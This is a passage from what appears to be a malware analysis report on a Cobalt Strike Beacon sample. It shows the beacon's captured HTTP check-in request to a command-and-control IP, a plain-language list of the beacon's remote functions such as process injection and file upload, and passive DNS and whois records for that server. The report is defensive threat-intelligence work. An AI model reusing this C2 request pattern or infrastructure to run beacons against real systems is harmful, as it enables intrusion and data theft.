Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://code.jquery.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=vZZ5M4aBtrWVoM5-rSVJFrF_ucMPaPE3QjFh6lc2jJ9YYlfZlI2k7M3PwRbOpG9HZXpYi7cauuFgY62ZfLQ9SvZF5anYnl0aQE6oR1Xi_D2fkuoNiug3oKXLk-Vj-Fwp1IhyNG4gKv0vzkU9Scy0EByFnaM2E-Prj__Bb1niJjw
User-Agent: Mozilla/4.1 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Host: 207[.]148[.]76[.]235
Connection: Keep-Alive
Cache-Control: no-cache
–End request–

Analysis indicates that the C2 server will respond to the above HTTP GET request with encrypted data that contains commands, which the malware will decrypt and execute to perform additional functions. The C2 server response payload was not available for analysis.

Displayed below are sample functions built into the malware:

–Begin commands–
Make and change directory
Copy, move, remove files to the specified destination
Download and upload files
List drives on victim’s system
Lists files in a folder
Enable system privileges
Kills the specified process
Show running processes
Binds the specified port on the victim’s system
Disconnect from a named pipe
Process injection
Service creation
–End commands–

Screenshots

Figure 2 - The screenshot of the shellcode embedded in the MZ header.

Figure 2 – The screenshot of the shellcode embedded in the MZ header.

207.148.76.235

Ports
Whois

Recent Passive DNS Resolutions
wordpress-499253-1580367.cloudwaysapps.com
207.148.76.235
kejhnaxoi.alosmart.in
207.148.76.235
chanlycuocsong.com
207.148.76.235
291bc2ac-bd67-11e9-bd1f-d89d67231d10.vuhongminh.com
207.148.76.235
update.vuhongminh.com
207.148.76.235

IP Location
   Country: Singapore
   Region: Central Singapore
   City: Singapore
   ISP: Sgp_vultr_cust

Whois Server
   whois.apnic.net

Whois Record
% Abuse contact for ‘207.148.64.0 – 207.148.79.255’ is ‘abuse@choopa.com’

inetnum:        207.148.64.0 – 207.148.79.255
netname:        SGP_VULTR_CUST
descr:         SGP_VULTR_CUST
country:        SG
admin-c:        CLA15-AP
tech-c:         CLA15-AP
abuse-c:        AC1765-AP
status:         ASSIGNED NON-PORTABLE
mnt-by:         MAINT-CHOOPALLC-AP
mnt-irt:        IRT-CHOOPALLC-AP
last-modified: 2021-02-09T13:52:42Z
source:         APNIC

irt:            IRT-CHOOPALLC-AP
address:        100 Matawan Rd, Matawan NJ 07747
e-mail:         abuse@choopa.com
abuse-mailbox: abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
auth:         # Filtered
remarks:        abuse@choopa.com was validated on 2022-04-14
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-04-14T13:11:20Z
source:         APNIC

role:         ABUSE CHOOPALLCAP
address:        100 Matawan Rd, Matawan NJ 07747
country:        ZZ
phone:         +000000000
e-mail:         abuse@choopa.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        AC1765-AP
remarks:        Generated from irt object IRT-CHOOPALLC-AP
remarks:        abuse@choopa.com was validated on 2022-04-14
abuse-mailbox: abuse@choopa.com
mnt-by:         APNIC-ABUSE
last-modified: 2022-04-14T13:12:10Z
source:         APNIC

role:         Choopa LLC administrator
address:        319 Clematis St. Suite 900
country:        US
phone:         +1-973-849-0500
fax-no:         +1-973-849-0500
e-mail:         abuse@vultr.com
admin-c:        CLA15-AP
tech-c:         CLA15-AP
nic-hdl:        CLA15-AP
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2022-07-19T11:35:13Z
source:         APNIC

route:         207.148.64.0/20
origin:         AS20473
descr:         Choopa, LLC
               14 Cliffwood Ave
               Suite 300
mnt-by:         MAINT-CHOOPALLC-AP
last-modified: 2020-04-21T14:39:46Z
source:         APNIC

Relationships
207.148.76.235 Connected_From 3450d5a3c51711ae4a2bdb64a896d312ba638560aa00adb2fc1ebc34bee9369e
Description

The C2 domain configured in the Cobalt Strike Beacon.